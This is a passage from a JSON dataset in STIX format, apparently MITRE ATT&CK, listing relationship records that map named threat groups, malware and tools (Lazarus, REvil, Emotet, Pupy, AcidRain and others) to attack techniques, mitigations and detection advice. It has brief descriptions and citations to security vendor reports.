2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--096287e3-0985-4678-95d1-0f6e5a22b7e6","created":"2023-03-08T22:58:38.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T23:16:09.790Z","description":"Implement security controls on the endpoint, such as a Host Intrusion Prevention System (HIPS), to identify and prevent execution of files with mismatching file signatures.","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09673a33-d15e-460a-8980-55c67ee2bb19","type":"relationship","created":"2021-10-17T15:10:00.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.720Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used tools such as [NBTscan](https://attack.mitre.org/software/S0590) to enumerate network shares.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09677a24-20ac-4983-a97f-f1b54282b609","type":"relationship","created":"2022-02-17T16:21:31.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."}],"modified":"2022-02-17T20:26:31.322Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has left taunting images and messages on the victims' desktops as proof of system access.(Citation: CERT-EE Gamaredon January 2021)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--096d97b6-57d0-4722-a204-685fb48ed5ca","created":"2024-03-04T19:17:31.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:09:41.474Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can create a proxy server on compromised hosts.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09710ce1-9ed9-4c25-a86f-0a481174cc0d","type":"relationship","created":"2022-03-23T16:57:13.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T19:01:21.698Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) persistence mechanisms have used forfiles.exe to execute .htm files.(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0973d20e-45a6-4b06-95ad-05b4687f4d29","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0977c267-10f9-4e4d-a947-464359c7a4ba","created":"2023-02-16T16:39:26.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:26:45.488Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can decrypt its payload and associated configuration elements using the Rijndael cipher.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--097a4294-e9e6-46a1-8ecb-06ab0b00d773","type":"relationship","created":"2020-06-26T16:17:18.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.047Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--097b1c10-b2ff-4dba-ad13-476120d96539","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may target the different network services provided by systems to conduct a DoS. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09838bf8-4d67-4d21-b44e-ec5786182cc9","type":"relationship","created":"2020-03-13T11:12:18.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2020-03-26T19:20:23.191Z","description":"Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.(Citation: Powersploit)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09869965-8dcd-4c20-a997-c075b6ed0434","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:48.036Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09896887-98ee-4e8a-9cc2-4203b3b561c8","type":"relationship","created":"2020-07-27T15:20:50.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.564Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has used a malicious shim database to maintain persistence.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--098a760a-66ce-46e0-938e-86518e450a27","type":"relationship","created":"2020-05-21T14:55:00.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.332Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has deleted dropper files on an infected system using command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--098c0f13-e56f-43ff-8fee-0cce9d771092","created":"2024-03-25T16:54:39.707Z","revoked":false,"external_references":[{"source_name":"AcidRain JAGS 2022","description":"Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.","url":"https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T16:54:39.707Z","description":"[AcidRain](https://attack.mitre.org/software/S1125) reboots the target system once the various wiping processes are complete.(Citation: AcidRain JAGS 2022)","relationship_type":"uses","source_ref":"malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0992eecd-111f-4b22-b016-b74f07c8d817","type":"relationship","created":"2021-06-24T11:57:32.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer REvil 2021","url":"https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/","description":"Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021."}],"modified":"2021-06-24T11:57:32.001Z","description":"[REvil](https://attack.mitre.org/software/S0496) can force a reboot in safe mode with networking.(Citation: BleepingComputer REvil 2021)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0994d9a9-b94e-4235-b762-18c2f7b2ed57","type":"relationship","created":"2020-08-18T15:36:30.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-18T15:36:30.900Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) can retrieve files from the local file system.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09962c1d-38be-43f6-83bc-a63d1bebdb2d","type":"relationship","created":"2020-05-06T21:31:07.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.218Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can establish persistence by creating a .lnk shortcut to itself in the Startup folder.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0997f41a-0232-4331-8a11-11a6433d8343","type":"relationship","created":"2020-05-27T13:22:06.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:22:06.763Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has used TCP in C2 communications.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--099cdf98-eece-47a5-821f-f29b866699d6","type":"relationship","created":"2020-07-17T15:48:51.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.108Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can dump usernames and hashed passwords from the SAM.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09a3f0af-1610-4cac-955d-7b657a4fe141","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09b26cdc-a947-4ae5-a642-8e0f7c8b5ca5","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for unusual processes accessing local email files that may target user email on local systems to collect sensitive information.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09bb741d-4f8b-4ae5-95f7-38d85e4d825a","type":"relationship","created":"2020-10-19T17:58:04.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T17:58:04.374Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09c0322c-a714-4768-9d30-04160d2d7b2a","created":"2022-09-08T15:10:16.870Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T15:10:16.870Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used domain accounts to gain further access to victim systems.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c0536a-863f-4561-ad59-a5fa1c8daaa1","type":"relationship","created":"2020-03-20T00:08:19.276Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.276Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c10778-19ad-441a-8a75-a3cf1288f960","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-16T17:50:28.664Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) may use net start to display running services.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--09c54ed8-4b03-4e39-b364-bf2e751dbe06","created":"2022-07-18T20:43:07.432Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T20:43:07.432Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c63f56-1c5b-4195-9d1a-73b77865ffb8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"}],"modified":"2019-05-14T19:15:24.314Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of taking screenshots.(Citation: FireEye APT33 Sept 2017)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c76211-6357-4dc3-b4f6-361007e21af9","type":"relationship","created":"2020-10-02T17:03:46.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T17:03:46.050Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41","target_ref":"attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c80e35-2839-4b5b-aad8-8f81db8da551","type":"relationship","created":"2019-03-25T19:31:02.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Emotet Jul 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."},{"source_name":"CIS Emotet Dec 2018","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."}],"modified":"2019-06-28T15:25:29.282Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user. (Citation: US-CERT Emotet Jul 2018)(Citation: CIS Emotet Dec 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c8ec4f-c76b-4a36-994f-4ed4d87b7ad8","type":"relationship","created":"2019-06-04T14:12:42.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ScarCruft 